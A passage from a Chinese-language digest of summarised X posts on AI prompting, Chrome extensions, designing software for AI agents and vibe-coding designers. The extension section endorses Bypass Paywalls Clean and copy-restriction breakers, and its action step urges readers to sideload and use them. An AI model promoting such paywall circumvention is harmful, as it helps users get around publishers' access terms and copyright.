- **深層洞見**: **".NET 11 doesn’t scream for attention. It quietly improves everything that already works... that’s exactly the kind of upgrade that matters most." (.NET 11 沒有大聲喧嘩。它只是默默地改善了所有已經在運作的東西... 在現代軟體開發中，這正是最重要的一種升級模式。) ** 當一個技術棧成熟到一定程度，不搞大破大立的破壞性更新，專注於消滅開發者的摩擦力（如 `dotnet run -e` 直接吃環境變數），才是展現實力的時刻。
- **行動呼籲**:
如果你是 .NET 開發者，現在就可以開始構思如何在下一代的架構中利用 Union Types 來重構你的 Error Handling 機制。放棄那些笨重的 `try-catch` 或自幹的 `Result<T>` 類別，擁抱更優雅的型別系統。
思維模型
吳恩達 2026 最新心法：從聊天機器人到推理引擎的四個分水嶺 (AI Prompting for Everyone 2026)
"不要再把 AI 當作 Google 搜尋引擎，把它當成一個高智商但對你一無所知的實習生。吳恩達的 2026 核心心法告訴我們：給它看所有的背景文件，允許它花幾分鐘去「Ultrathink」，並且永遠不要讓它一上來就寫文章正文。透過「漸進式大綱法」和「強制客觀評分卡」，你可以榨出 AI 的推理潛能，同時徹底消滅那些充滿「delve」和破折號的 AI 廢話。"
---
tags: [思維模型, 實戰教學]
date: 2026-05-02
source: "20260512_2026-05-05T094145+0800-现在的AI 跟 2022 完全不同：吴恩达 21 节课讲透 2026 年的 AI 高手心法.md"
---
# 吳恩達 2026 最新心法：從聊天機器人到推理引擎的四個分水嶺 (AI Prompting for Everyone 2026)
原始來源與檔名：20260512_2026-05-05T094145+0800-现在的AI 跟 2022 完全不同：吴恩达 21 节课讲透 2026 年的 AI 高手心法.md
來源：[[@GoSailGlobal]] / X (Twitter) — 2026-05-02
原始檔名：`2026-05-05T094145+0800-现在的AI 跟 2022 完全不同：吴恩达 21 节课讲透 2026 年的 AI 高手心法.md`
---
## NAPKIN | 餐巾紙
### 餐巾紙公式
> Novice (2022 AI) = Google Search questions + Short prompt + Blind trust + Let AI write everything at once.
> Expert (2026 AI) = Complex analysis + Deep Context + Rubric (Anti-Sycophancy) + Progressive Outlining.
> 2026 Superpower = Reasoning Models (give them time to think) + Desktop Agents (file-system context).
_吳恩達 (Andrew Ng) 在 2026 年推出的新課《AI Prompting for Everyone》直接點破了當前的痛點：AI 已經進化到能長時間思考、查網頁、分析巨量資料的 Reasoning 時代，但多數人卻還在用 2022 年問 ChatGPT 天氣的簡陋方式操作它。這篇筆記總結了新手與高手的「四大分水嶺」：挑戰複雜問題、給足上下文、設立客觀評分卡以防止 AI 拍馬屁 (Sycophancy)，以及揚棄直接生成，改用「漸進式大綱 (Progressive Outlining)」來消滅 AI 寫作中的假大空 (AI slop)。_
### 一句話
> 不要再把 AI 當作 Google 搜尋引擎，把它當成一個高智商但對你一無所知的實習生。吳恩達的 2026 核心心法告訴我們：給它看所有的背景文件，允許它花幾分鐘去「Ultrathink」，並且永遠不要讓它一上來就寫文章正文。透過「漸進式大綱法」和「強制客觀評分卡」，你可以榨出 AI 的推理潛能，同時徹底消滅那些充滿「delve」和破折號的 AI 廢話。
### 餐巾紙草圖
```text
[ Eliminating AI Slop via Progressive Outlining ]
BAD WAY: "Write a blog post about AI." -> AI generates generic slop (delve, robust).
GOOD WAY:
1. "Give me an outline." ->
2. User edits outline ->
3. "Expand to bullet points." ->
4. User edits bullets ->
5. "Now write the draft based STRICTLY on these bullets."
Result: High leverage, human-directed, bespoke content.
```
## ROUND 1: SKELETON | 骨架掃描
**"這篇文章在說什麼"**
- **核心對比 (四大分水嶺)**:
1. **難度**: 新手問簡單常識；高手丟整套 PDF 讓模型做深度對比。
2. **上下文**: 新手發短句；高手把 AI 當實習生，給足背景資料 (Empathy for the AI)。
3. **引導方式**: 新手尋求認同；高手用評分卡 (Rubric) 逼迫 AI 客觀打分，防止諂媚 (Sycophancy)。
4. **寫作流程**: 新手讓 AI 直接寫；高手用漸進式大綱 (大綱 -> 項目 -> 正文) 掌控方向。
- **資訊的三層架構**: Pretrained (常識)、Web Search (近期事實)、Deep Research (多源綜合分析)。
- **Context 是王道**: 隨時清空舊對話防污染；讓 AI 先出 3 個方案讓你挑，是最高效的 Context 收集法。AI Desktop App (能自讀硬碟檔案) 是未來趨勢。
- **推理時代 (Reasoning)**: `Let's think step by step` 已過時。現在直接讓模型 `ultrathink`。
- **打擊 AI Slop**: AI 廢話的特徵是破折號、高頻詞 (delve, robust)、三段排比。解藥就是漸進式大綱與跨模型互相審查 (Cross-model critique)。
- **多模態與 Vibe Coding**: 運用自然語言生成微型工具，以及結合 AI 進行資料分析與圖表繪製。
## ROUND 2: DISSECTION | 血肉解剖
**"憑什麼這麼說"**
### 核心論證鏈
1. **諂媚效應 (Sycophancy)**: 模型是由人類回饋 (RLHF) 訓練出來的，而人類喜歡被誇獎，這導致 AI 天生傾向於同意使用者的觀點（同意頻率高出 10 倍）。吳恩達提出用「評分卡」與「中立提問」來對抗這種底層的模型偏誤，這是極具科學根據的 Prompt 技巧。
2. **漸進式的控制槓桿**: 在大綱階段修改一句話，能牽動最終成文的一整段。這種由上而下的迭代，確保了人類掌控著「邏輯骨架」，而 AI 只負責「血肉填補」。這就是防止 AI 產生空洞套話 (AI slop) 最物理、最有效的屏障。
### 關鍵證據
- 引用華盛頓郵報的研究證明 ChatGPT 的「拍馬屁」傾向。
- 點出 2024 年大家還在用的 `Let's think step by step` 已經因為 O1/R1 等 Reasoning 模型的出現而失效，證明了 Prompt 技巧必須隨著底層模型架構 (Architecture) 演進而刷新。
### 邊界條件
- **成本與時間的權衡**: 讓模型進行 Deep Research 或 Ultrathink，以及要求 Cross-model critique，會大幅增加等待時間與 API 成本。對於簡單的程式碼除錯或日常問答，過重的框架反而會降低效率。
## ROUND 3: SOUL | 靈魂提取
**"還能怎么用"**
- **知識連結**: 文章中提到的 "Desktop App 的崛起" 與我們討論過的 Claude Code, Hermes 完美契合。未來的 AI 不是一個在瀏覽器裡聊天的視窗，而是存在於你電腦本機、具備 File-system 存取權限的 Agentic 助手。
- **深層洞見**: **"Jagged intelligence: 每个模型擅长的任务边界不规则，定期切换才能磨出哪个模型最适合哪种任务的直觉。"** 這是對多模型時代最精闢的總結。不要成為單一模型的狂熱粉絲。將 ChatGPT 的產出丟給 Gemini 批評，再丟給 Claude 潤飾，這種「AI 之間互相監督的微型網路」，是個人工作者能輕易取得的超級優勢。
- **行動呼籲**:
今天就拋棄「幫我寫一篇關於 XX 的文章」這種爛 Prompt。改為：「我準備寫一篇關於 XX 的文章，請先提供三個不同切入點的內容大綱，讓我選擇並提供反饋。」體驗一次漸進式大綱帶來的品質躍升。
效率工具
效率翻倍的終極瀏覽器外掛配置：打造無縫的知識捕獲閉環 (6 Must-Have Chrome Extensions for Extreme Efficiency)
"這是一篇極具實用價值的 Chrome 外掛配置指南。文章推薦了 6 款必裝外掛：uBlock Origin（低耗能廣告攔截）、沉浸式翻譯（雙語對照神器）、油猴 Tampermonkey（腳本管理容器）、Bypass Paywalls Clean（解鎖付費媒體）、crxMouse（滑鼠手勢導航）與網頁萬能複製（破解右鍵限制）。作者並提供了在 Google 強推 Manifest V3 政策下，如何安裝這些「絕版」或被下架外掛的詳細技術教學。"
---
tags: [效率工具, 工具技巧, Chrome, 知識捕獲]
date: 2026-05-10
source: "20260512_2026-05-12T093105+0800-效率翻倍！6个必装谷歌插件推荐（含绝版插件安装教程）.md"
---
# 效率翻倍的終極瀏覽器外掛配置：打造無縫的知識捕獲閉環 (6 Must-Have Chrome Extensions for Extreme Efficiency)
原始來源與檔名：20260512_2026-05-12T093105+0800-效率翻倍！6个必装谷歌插件推荐（含绝版插件安装教程）.md
來源：[[@OpenCils]] / X (Twitter) — 2026-05-10
原始檔名：`2026-05-12T093105+0800-效率翻倍！6个必装谷歌插件推荐（含绝版插件安装教程）.md`
---
## NAPKIN | 餐巾紙
### 餐巾紙公式
> Extreme Efficiency = Clean Content (uBlock) + Unlocked Paywalls (BPC) + Unrestricted Copying (Universal Copy) + Bilingual Comprehension (Immersive Translate) + Fast Navigation (crxMouse) + Infinite Extensibility (Tampermonkey)
> Less is More: 6 Synergistic Extensions > 20 Overlapping Ones
_給瀏覽器裝外掛就像給手機裝 App，裝多了卡成 PPT，裝少了效率低。作者總結了一套經歷數年淘汰後存活的「終極 6 款外掛配置」。這 6 款外掛互不重疊，精準解決了從「清除廣告 -> 破解付費牆 -> 強制複製內容 -> AI 雙語對照理解 -> 鼠標手勢極速操作 -> 腳本無限擴展」的完整知識獲取閉環。_
### 一句話
> 這是一篇極具實用價值的 Chrome 外掛配置指南。文章推薦了 6 款必裝外掛：uBlock Origin（低耗能廣告攔截）、沉浸式翻譯（雙語對照神器）、油猴 Tampermonkey（腳本管理容器）、Bypass Paywalls Clean（解鎖付費媒體）、crxMouse（滑鼠手勢導航）與網頁萬能複製（破解右鍵限制）。作者並提供了在 Google 強推 Manifest V3 政策下，如何安裝這些「絕版」或被下架外掛的詳細技術教學。
### 餐巾紙草圖
```text
[The Knowledge Acquisition Pipeline]
1. [ uBlock Origin ] ---------> Strips away ads/trackers (Clean environment)
|
2. [ Bypass Paywalls ] -------> Unlocks paywalled articles (Access)
|
3. [ Universal Copy ] --------> Breaks right-click/copy locks (Extraction)
|
4. [ Immersive Translate ] ---> In-line bilingual rendering (Comprehension)
|
5. [ Tampermonkey ] ----------> Custom JS scripts for edge cases (Extensibility)
* Orchestrated by [ crxMouse ] for high-speed gesture navigation.
```
## ROUND 1: SKELETON | 骨架掃描
**"這篇文章在說什麼"**
- **核心理念**: 外掛在精不在多。這 6 款外掛形成了一個完整的知識獲取與理解閉環。
- **1. uBlock Origin (底座)**: 廣譜內容攔截器。極低 CPU 耗能。因 Google MV3 政策從 Chrome 商店下架，需改用 uBOL (uBO Lite) 或手動安裝開發版。
- **2. 沉浸式翻譯 (理解)**: 捨棄「替換式」翻譯，採用「中英對照」。支援 AI 引擎、PDF、YouTube 字幕。
- **3. 油猴 Tampermonkey (擴充)**: 萬能的 JS 腳本容器。處理特定網站的跳轉、登入限制或影片下載。
- **4. Bypass Paywalls Clean (解鎖)**: 繞過 160+ 主流媒體（如經濟學人、紐約時報）的付費牆。因版權問題無法上架，需透過 GitFlic 下載 ZIP 手動加載。
- **5. crxMouse (導航)**: 滑鼠手勢。大幅減少點擊與移動，熟練後速度逼近鍵盤快捷鍵。
- **6. 網頁萬能複製 (提取)**: 專治各種禁止右鍵、禁止複製的流氓網站（如百度文庫、CSDN），打通知識捕獲的最後一哩路。
## ROUND 2: DISSECTION | 血肉解剖
**"憑什麼這麼說"**
### 核心論證鏈
1. **從「對抗審查」到「掌控資料」**: 這 6 款外掛中有 3 款（uBlock, BPC, 萬能複製）本質上都在對抗互聯網的封閉趨勢。Google 為了廣告收益推行 MV3 限制攔截器；媒體築起付費高牆；內容農場鎖定右鍵。這套配置賦予了使用者重新掌控「自己螢幕上顯示什麼內容」的最高權力。
2. **閉環思維大於單點工具**: 單獨看任何一個外掛都不稀奇，但這 6 個外掛串聯起來，解決了現代知識工作者最核心的痛點：看到好文章（被牆了 -> BPC）-> 充滿廣告（uBlock）-> 英文看不懂（沉浸式翻譯）-> 想做筆記不能複製（萬能複製）-> 看完快速關閉標籤（crxMouse）。這是一個完美的工作流設計。
### 關鍵證據
- 精確點出了 uBlock Origin 被 Chrome 商店下架的歷史背景（Manifest V3 政策）以及 BPC 收到 DMCA 下架的始末。這不僅是推薦工具，還具有技術考現學的價值，並提供了確實可行的 Side-loading（側載）安裝解法。
### 邊界條件
- 這些外掛（特別是 BPC 和萬能複製）遊走在版權與網站服務條款的灰色地帶。
- 側載未經商店審核的外掛存在安全風險，使用者必須確保下載源（如 GitFlic 或 GitHub）的絕對可靠性，否則極易被植入惡意代碼。
## ROUND 3: SOUL | 靈魂提取
**"還能怎么用"**
- **知識連結**: 這個外掛矩陣完美構成了《你的 Obsidian 正在浪費智商》一文中所提到的第一層架構——**「Capture (無阻力捕獲)」**。沒有這個乾淨、無限制的瀏覽器底座，後續的自動化與 AI 總結都將缺乏高品質的輸入資料。
- **深層洞見**: **"插件是工具，別让管理工具成为新的负担。" (Extensions are tools, don't let managing them become a new burden.)** 極簡主義不是什麼都不用，而是找到一組具有「正交性 (Orthogonality)」的工具。這 6 個工具彼此功能互斥卻能完美銜接，這就是系統架構的最高境界。
- **行動呼籲**:
1. 檢查你的瀏覽器，解除安裝那些超過一個月沒用過、或是功能重疊的外掛。
2. 嘗試安裝 `Bypass Paywalls Clean` 和 `網頁萬能複製`。在這個資訊日益封閉的時代，確保你有能力隨時把優質內容拖進你的本地知識庫中。
產品設計
Designing for Agents (為 Agent 設計產品 - 英文原文版)
"本文是第 129 篇文章《为 Agent 设计产品》的英文原始出處。作者 Teddy Riker 深刻闡述了在 AI Agent 接管軟體操作的未來，產品介面將從「人機互動 (GUI)」轉向「Agent 對 Agent」的無頭 (Headless) 互動。開發者必須主動將操作規範交給 Agent（如 Notion 的做法）、建立基於調用理由 (Rationale) 的反饋迴圈，並優化 API 以處理上下文缺口（Context Gap），讓軟體真正具備 Agent 親和力。"
---
tags: [產品設計, 產業趨勢, Agent架構]
date: 2026-04-23
source: "20260512_2026-04-28T092735+0800-Designing for Agents.md"
---
# Designing for Agents (為 Agent 設計產品 - 英文原文版)
原始來源與檔名：20260512_2026-04-28T092735+0800-Designing for Agents.md
來源：[[@teddy_riker]] / X (Twitter) — 2026-04-23
原始檔名：`2026-04-28T092735+0800-Designing for Agents.md`
---
## NAPKIN | 餐巾紙
### 餐巾紙公式
> _(This is the original English text of Article #129. The core concepts are identical.)_
> Old Paradigm: User -> Interface -> Database
> New Paradigm: User -> User's Agent -> Software's Agent -> Database
> Design Pillars: 1. Teach Agents (MCP Specs) + 2. Feedback Loops (Rationale parameters) + 3. Mind Context Gaps (Exchange context, not exact IDs).
_This article by Teddy Riker outlines the paradigm shift from human-first UI to agent-first APIs (Headless software). As agents like Claude and ChatGPT become the primary operators of software (as seen in Salesforce's Headless 360), product teams must design for intermediaries. This means explicitly providing markdown specs via MCP, requiring 'rationale' logs to build feedback loops, and designing APIs that ask for context rather than exact system codes._
### 一句話
> 本文是第 129 篇文章《为 Agent 设计产品》的英文原始出處。作者 Teddy Riker 深刻闡述了在 AI Agent 接管軟體操作的未來，產品介面將從「人機互動 (GUI)」轉向「Agent 對 Agent」的無頭 (Headless) 互動。開發者必須主動將操作規範交給 Agent（如 Notion 的做法）、建立基於調用理由 (Rationale) 的反饋迴圈，並優化 API 以處理上下文缺口（Context Gap），讓軟體真正具備 Agent 親和力。
### 餐巾紙草圖
```text
[ Agent-to-Agent Architecture ]
Diego (Human)
|
v
Chief of Staff Agent (Has Context: Calendars, Slack, Receipts)
|
|--- "Here is the context of the expense: Team dinner at Kokkari." --->
|
Expense System Agent (Has Rules: GL Codes, Company Policies)
|--- Translates context to GL Code 6400 --->
v
Database Update.
```
## ROUND 1: SKELETON | 骨架掃描
**"這篇文章在說什麼"**
- **The Shift**: The UI is not dead, but the 80/20 rule has flipped. 80% of software interactions will be executed by agents. Salesforce's Headless 360 is proof that the old UI moat is eroding.
- **The New Pattern**: `User -> User's Agent -> Software's Agent -> Database`.
- **Three Rules for Agent Design**:
1. **Teach Agents to Succeed**: Provide explicit documentation (like Notion's Markdown spec) directly to the agent via MCP when needed. Don't make them guess.
2. **Build Feedback Loops**: Require a `rationale` parameter for all tool calls to understand intent, and create specific tools for agents to report blockages. Agents are more consistent in feedback than humans.
3. **Mind the Context Gap**: Understand that the User's Agent holds personal context (emails, calendars), while the Software's Agent holds business rules. Design interactions that exchange context to bridge the gap, rather than forcing the user to map data manually.
## ROUND 2: DISSECTION | 血肉解剖
**"憑什麼這麼說"**
### 核心論證鏈
1. **Erosion of UX as a Moat**: Familiarity with complex enterprise UIs used to lock in customers. Once an agent abstracts the UI away, functionality and API/MCP compliance become the only true competitive advantages.
2. **Intent-driven API**: Traditional APIs demand specific IDs or enums (like a GL Code). Agent-driven APIs thrive on natural language context. It is fundamentally a shift from deterministic function calls to probabilistic context resolution.
### 關鍵證據
- Notion vs. Slack MCP implementations: Notion forces the agent to read its markdown rules resulting in perfect formatting, whereas Slack assumes default markdown knowledge, resulting in broken messages.
- Real-world observability at Ramp: Using `rationale` logs to discover new feature requests directly from agent failures.
### 邊界條件
- The success of this architecture heavily relies on the reasoning capabilities and adherence of the foundational LLMs. If an agent hallucinates a `rationale` or misinterprets context, the feedback loop could poison the product roadmap.
## ROUND 3: SOUL | 靈魂提取
**"還能怎么用"**
- **知識連結**: Directly aligns with the "Harness Engineering" concept discussed in earlier articles, where managing how the agent interacts with external systems (via MCP) is as important as the model itself.
- **深層洞見**: **"The interface used to sit between Diego and his expense system. Now it sits between his agent and yours."** This completely redefines the job of a Product Designer. You are now designing protocols for alien intelligences, not just intuitive buttons for humans.
- **行動呼籲**:
Review your product's API or MCP tools. Ask yourself: "If an agent with no prior knowledge of our system calls this, what context does it lack?" Then, write that context directly into the tool's `description` prompt.
產品設計
可運行不等於可交付：Vibe Coding 時代設計師的能力重塑 (Runnable != Deliverable)
"這是一篇給沈迷於 AI 寫扣 (Vibe Coding) 的設計師的清醒劑。作者指出，AI 的即時回饋會帶來虛假的掌控感，讓設計師誤以為「介面能動」就等於「設計成熟」。事實上，如果沒有覆蓋空狀態、錯誤處理等邊界條件，這些靠 AI 猜測預設值拼湊出來的頁面將面臨「設計品質隨機化」的災難。未來的設計師不該把目標定在「替代工程師寫扣」，而是要守住「行為定義（產品如何回應人）」的底線，並將設計系統從「給人看的畫板」升級為「給 Agent 執行的規則資產 (如 DESIGN.md)」。"
---
tags: [產品設計, 職場技能, 系統工程]
date: 2026-04-23
source: "20260512_2026-04-28T092732+0800-可运行不等于可交付：在 AI 时代重新理解设计能力.md"
---
# 可運行不等於可交付：Vibe Coding 時代設計師的能力重塑 (Runnable != Deliverable)
原始來源與檔名：20260512_2026-04-28T092732+0800-可运行不等于可交付：在 AI 时代重新理解设计能力.md
來源：[[@xiaolinbythesea]] / X (Twitter) — 2026-04-23
原始檔名：`2026-04-28T092732+0800-可运行不等于可交付：在 AI 时代重新理解设计能力.md`
---
## NAPKIN | 餐巾紙
### 餐巾紙公式
> Vibe Coding = Instant feedback + High prototype fidelity.
> Danger = Model guessing default states + Ignoring edge cases -> Randomization of Design Quality.
> True Deliverable = Core UI + Empty states + Error handling + Loading + Permission states + Scale reliability.
> Designer's Future Core = Behavior Definition + Engineering Understanding (Assetizing DESIGN.md).
_Cursor 和 Claude Code 讓設計師能輕易透過 AI 將 Figma 畫布上的想法變成「可運行的程式碼 (Vibe Coding)」，這種即時回饋極度容易讓人上癮。然而，「能跑的 Demo」和「可交付的產品」之間橫跨著巨大的工程鴻溝。如果設計師沉迷於生成介面，而將細節、狀態邏輯、邊界條件都交由 AI 的「預設值」去猜測，將導致設計品質的嚴重隨機化。AI 時代設計師的核心能力不在於寫生產程式碼，而在於「行為定義」與「將設計規範工程化（轉為 Agent 可讀的規則資產）」。_
### 一句話
> 這是一篇給沈迷於 AI 寫扣 (Vibe Coding) 的設計師的清醒劑。作者指出，AI 的即時回饋會帶來虛假的掌控感，讓設計師誤以為「介面能動」就等於「設計成熟」。事實上，如果沒有覆蓋空狀態、錯誤處理等邊界條件，這些靠 AI 猜測預設值拼湊出來的頁面將面臨「設計品質隨機化」的災難。未來的設計師不該把目標定在「替代工程師寫扣」，而是要守住「行為定義（產品如何回應人）」的底線，並將設計系統從「給人看的畫板」升級為「給 Agent 執行的規則資產 (如 DESIGN.md)」。
### 餐巾紙草圖
```text
[ The Vibe Coding Trap ]
Designer -> Prompts AI -> "It works! Look at this moving button!" (Illusion of Mastery)
|
V
Reality of the "Working Demo":
- Component logic? Guessed by model.
- Error state? Missing.
- Empty state? Missing.
- Visual consistency? Today it's SaaS style, tomorrow it's a template site.
= Design Quality Randomization.
[ The Solution: Design Engineering ]
Figma Specs -> Translated into `DESIGN.md` -> AI Agent reads it -> Generates consistent UI.
```
## ROUND 1: SKELETON | 骨架掃描
**"這篇文章在說什麼"**
- **核心現象**: Vibe Coding 讓設計師能快速做出可運行的介面。這種爽感掩蓋了「問題未定義清楚、邊界條件未處理」的致命傷。
- **Coding 的三種用法**:
1. **表達型**: 彌補靜態稿無法展示的複雜動效。
2. **驗證型**: 快速測試流程假說，測完就丟。
3. **交付型**: 試圖直接產出上線代碼。這是最危險的一種，如果沒有工程訓練，會導致「設計品質隨機化」。
- **品質隨機化的徵兆**: 控制權外流給了模型的「預設值」。雖然頁面看起來完整，但缺乏一致性，遺漏了 Loading, Error, Disabled 等極端狀態。
- **角色右移的迷思**: AI 讓產品、設計、工程的邊界模糊（都在寫代碼）。但盲目跟風會導致沒人去守住問題定義與品質標準。
- **重新錨定設計師能力**:
- **行為定義**: 回答產品在不同情境下如何回應人（包含不完美的降級狀態）。
- **工程理解**: 設計團隊的基建方向是把設計規範變成 `DESIGN.md`，讓 Agent 有依據可循，不再亂猜。
## ROUND 2: DISSECTION | 血肉解剖
**"憑什麼這麼說"**
### 核心論證鏈
1. **Demo 與 Production 的本質差異**: Demo 是在理想溫室裡運行的快樂路徑 (Happy Path)。Production 則要面對網路斷線、權限不足、髒數據、歷史包袱等惡劣環境。如果設計師不懂工程的邊界條件，做出來的 Vibe Coding 就只是個漂亮的玩具。
2. **預設值的危險性**: 生成式 AI 的強大在於它的「腦補能力」。當你不說清楚按鈕間距時，它會塞一個平均值給你。長期依賴 AI 的腦補，等同於放棄了對產品微觀細節的掌控權，最終導致產品失去靈魂和品牌一致性。
### 關鍵證據
- 現實的開發痛點：那些看起來很美的 AI 生成頁面，一旦交接給後端對接真實 API 時，就會立刻因為缺少 Loading 和 Error 狀態而崩潰。
- Google Stitch 的 `DESIGN.md` 實踐：證明了業界已經開始將設計規範轉化為機器可讀的文本資產。
### 邊界條件
- 對於獨立開發者或極早期的 MVP 產品，追求「設計品質穩定」可能是不必要的奢侈，此時 Vibe Coding 的快速試錯價值大於一切。文章的觀點主要針對「大型產品團隊」中需要長期維護與協作的場景。
## ROUND 3: SOUL | 靈魂提取
**"還能怎么用"**
- **知識連結**: 呼應了《Cat Wu 訪談》中關於「產品品味 (Product Taste)」是 AI 時代最稀缺能力的觀點。當代碼變得廉價，設計師的品味就體現在對 `DESIGN.md` 規則的制定，以及對異常行為邊界的嚴格把控上。
- **深層洞見**: **"真正危险的情况，是每个角色都在右移，最后没人守住问题定义和质量标准。"** 當產品經理在寫代碼，設計師在寫代碼，工程師在弄 Agent 框架時，誰來確保產品真的解決了使用者的痛點？工具的賦能不該成為逃避核心職責的藉口。
- **行動呼籲**:
1. 設計師：停止沈迷於生成「快樂路徑」的頁面。下次用 Vibe Coding 時，強制自己加上一句 Prompt：「請幫我把網路超時、無資料、權限被拒絕這三種狀態的 UI 一併寫出來。」
2. 設計團隊：本週開始，將 Figma 中的色彩標籤和字體規範，手寫成一份純文字的 `DESIGN.md`，並放進前端代碼庫中供 AI 讀取。
產品設計
為 Agent 設計產品：當 AI 成為你的超級用戶 (Designing for Agents)
"這是一篇探討 AI 時代軟體互動典範轉移的深度好文。作者指出，雖然圖形介面 (GUI) 不會死，但未來軟體的主要使用者將變成使用者的 AI Agent（如 Claude 或 ChatGPT）。為了迎接這個趨勢，軟體公司需要做三件事：1. 透過 MCP 等協議將操作規範直接餵給 Agent；2. 透過要求 Agent 填寫調用「理由 (Rationale)」來建立產品反饋迴圈；3. 重新設計 API，利用 Agent 的跨應用上下文（如讀取日曆與 Slack），自動完成過去需要人類手動分類的繁瑣流程。"
---
tags: [產品設計, 產業趨勢, Agent架構]
date: 2026-04-23
source: "20260512_2026-04-28T092707+0800-为 Agent 设计产品.md"
---
# 為 Agent 設計產品：當 AI 成為你的超級用戶 (Designing for Agents)
原始來源與檔名：20260512_2026-04-28T092707+0800-为 Agent 设计产品.md
來源：[[@dotey]] (轉載 Teddy Riker) / X (Twitter) — 2026-04-23
原始檔名：`2026-04-28T092707+0800-为 Agent 设计产品.md`
---
## NAPKIN | 餐巾紙
### 餐巾紙公式
> Old Paradigm: User -> UI -> Database
> New Paradigm: User -> User's Agent -> Software's Agent -> Database
> Design for Agents = 1. Explicit Instructions (MCP) + 2. Feedback Loops (Rationale logs) + 3. Context Gaps Resolution (Asking for context, not IDs).
_當 Salesforce 宣布將整個平台 API 化以供 AI 呼叫時，標誌著一個新時代的到來：未來的軟體，有 80% 的使用量將來自 AI Agent 而非真人點擊。這意味著產品經理必須改變思維，開始為 AI 設計「無頭介面 (Headless UI)」。你必須主動把開發文檔 (如 Markdown 規範) 餵給 Agent，設計工具讓 Agent 回傳錯誤反饋，並且利用 Agent 的上下文推理能力來填補資訊缺口（例如讓 Agent 判斷是客戶餐還是團隊餐，而非直接問使用者要填哪個財務科目代碼）。_
### 一句話
> 這是一篇探討 AI 時代軟體互動典範轉移的深度好文。作者指出，雖然圖形介面 (GUI) 不會死，但未來軟體的主要使用者將變成使用者的 AI Agent（如 Claude 或 ChatGPT）。為了迎接這個趨勢，軟體公司需要做三件事：1. 透過 MCP 等協議將操作規範直接餵給 Agent；2. 透過要求 Agent 填寫調用「理由 (Rationale)」來建立產品反饋迴圈；3. 重新設計 API，利用 Agent 的跨應用上下文（如讀取日曆與 Slack），自動完成過去需要人類手動分類的繁瑣流程。
### 餐巾紙草圖
```text
[ Context Gap in Expense Management ]
User (Diego) -> Has receipts, Slack messages, Calendar invites.
Expense App -> Needs GL Code (General Ledger).
Traditional API:
App prompts Diego: "Please select one of 150 GL Codes for this $50 receipt." (Friction)
Agent-to-Agent Design:
User's Agent (reads calendar/Slack): "This was a team dinner with Acme Corp."
|
v (passes context, not GL Code)
App's Agent (knows accounting rules): "Team dinner with clients = GL Code 6400 (Meals & Entertainment)."
|
v
Database Updated. User did nothing.
```
## ROUND 1: SKELETON | 骨架掃描
**"這篇文章在說什麼"**
- **現象**: 軟體的 GUI 不會死，但二八法則已經反轉。未來 80% 的軟體互動將由 AI Agent 在後台透過 MCP 或 API 完成（例如 Salesforce 的 Headless 360 轉型）。
- **新的互動模式**: 從 `User -> UI -> DB` 轉變為 `User -> User's Agent -> Software's Agent -> DB`。
- **為 Agent 設計的三大原則**:
1. **主動提供成功所需資訊 (Teach them to succeed)**: 不要指望 Agent 自己猜測你的系統規則。像 Notion 的 MCP 一樣，在工具描述裡強制 Agent 先讀取特定的 Markdown 規範，而不是像 Slack 那樣讓 Agent 亂猜格式。
2. **建立反饋迴圈 (Observability)**: 要求 Agent 在每次呼叫 API 時附上 `rationale`（理由）參數。這能讓你看到使用者到底想做什麼，甚至從 Agent 屢次失敗的嘗試中發現新的產品功能需求。
3. **留意上下文缺口 (Context Gap)**: 使用者的 Agent 掌握日曆和聊天紀錄，而你的軟體 Agent 掌握業務規則。不要用傳統的必填表單刁難使用者，而是讓兩個 Agent 交換上下文，自動補齊資訊。
## ROUND 2: DISSECTION | 血肉解剖
**"憑什麼這麼說"**
### 核心論證鏈
1. **護城河的轉移**: 過去，熟悉的 UX 是 Salesforce 這類巨頭的護城河，因為轉換成本高。但當 AI Agent 接管操作後，UX 的摩擦力被抹平了。未來軟體的競爭力在於 API/MCP 的親和力。
2. **機器之間的高效溝通**: 傳統 API 是死板的指令執行器，而 Agent-to-Agent 的溝通是基於意圖 (Intent) 和上下文 (Context) 的。透過自然語言傳遞「這是一頓客戶晚餐」比傳遞 `GL_CODE=4021` 更具備容錯性和靈活性。
### 關鍵證據
- Ramp 的實際數據：過去三個月，透過 Claude/ChatGPT 等 Agent 進入產品的 MCP 每週活躍使用者增長了 10 倍。
- Notion MCP vs Slack MCP 的對比：Notion 透過預先注入規範，實現了格式的零失誤；而 Slack 因為依賴模型默認常識，導致排版混亂。
### 邊界條件
- 這種 Agent-to-Agent 的架構嚴重依賴底層 LLM 的穩定性。如果模型產生幻覺，錯誤的上下文傳遞可能會導致嚴重的財務或業務數據污染。因此，人類在關鍵節點的「一鍵審批 (Human-in-the-loop)」設計依然不可或缺。
## ROUND 3: SOUL | 靈魂提取
**"還能怎么用"**
- **知識連結**: 本文完美印證了《Agentic Transitions》中提到的觀點：「人類介面退後，機器介面向前」。同時，要求 Agent 附帶 `rationale` 的做法，也是一種另類的 prompt engineering 應用在可觀測性 (Observability) 上。
- **深層洞見**: **"過去，界面夹在 Diego 和他的费用系统之间。现在，界面夹在他的智能体和你的智能体之间。"** 這是產品設計史上的一次巨大轉變。To B 軟體的設計對象不再是怕麻煩的真人，而是不知疲倦但缺乏常識的 AI。
- **行動呼籲**:
如果你在開發 API 或 MCP 伺服器：
1. 立刻在所有工具調用中加入 `rationale: string` 必填參數。
2. 在工具的描述 (description) 中，寫清楚你的系統特有的業務假設或格式要求，不要讓 Agent 去「猜」。
產品設計
速度與產品品味：Anthropic 產品負責人 Cat Wu 揭秘 AI 時代的 PM 角色 (Cat Wu on AI Product Management)
"這是一篇來自 Anthropic 內部視角的重磅訪談。Cat Wu 分享了 Claude Code 團隊如何在一天內發布新功能的秘密：依賴「研究預覽 (Research Preview)」機制降低心理門檻、建立無縫的發布流水線，並讓具備強大產品品味的工程師主導端到端流程。她坦言，傳統的 PRD 和 6 個月路線圖已經死亡，取而代之的是每週的數據覆盤和團隊原則。同時，訪談也側面暴露了 Anthropic 在極速狂奔下遇到的代碼洩露危機與封殺開源社群 (OpenClaw) 的爭議，展現了速度文化背後的代價。"
---
tags: [產品設計, 職場技能, 團隊文化]
date: 2026-04-24
source: "20260512_2026-04-28T092711+0800-Cat Wu 面试了几百个 PM 候选人，几乎没人答对一个问题：AI 产品经理到底应该干什么？.md"
---
# 速度與產品品味：Anthropic 產品負責人 Cat Wu 揭秘 AI 時代的 PM 角色 (Cat Wu on AI Product Management)
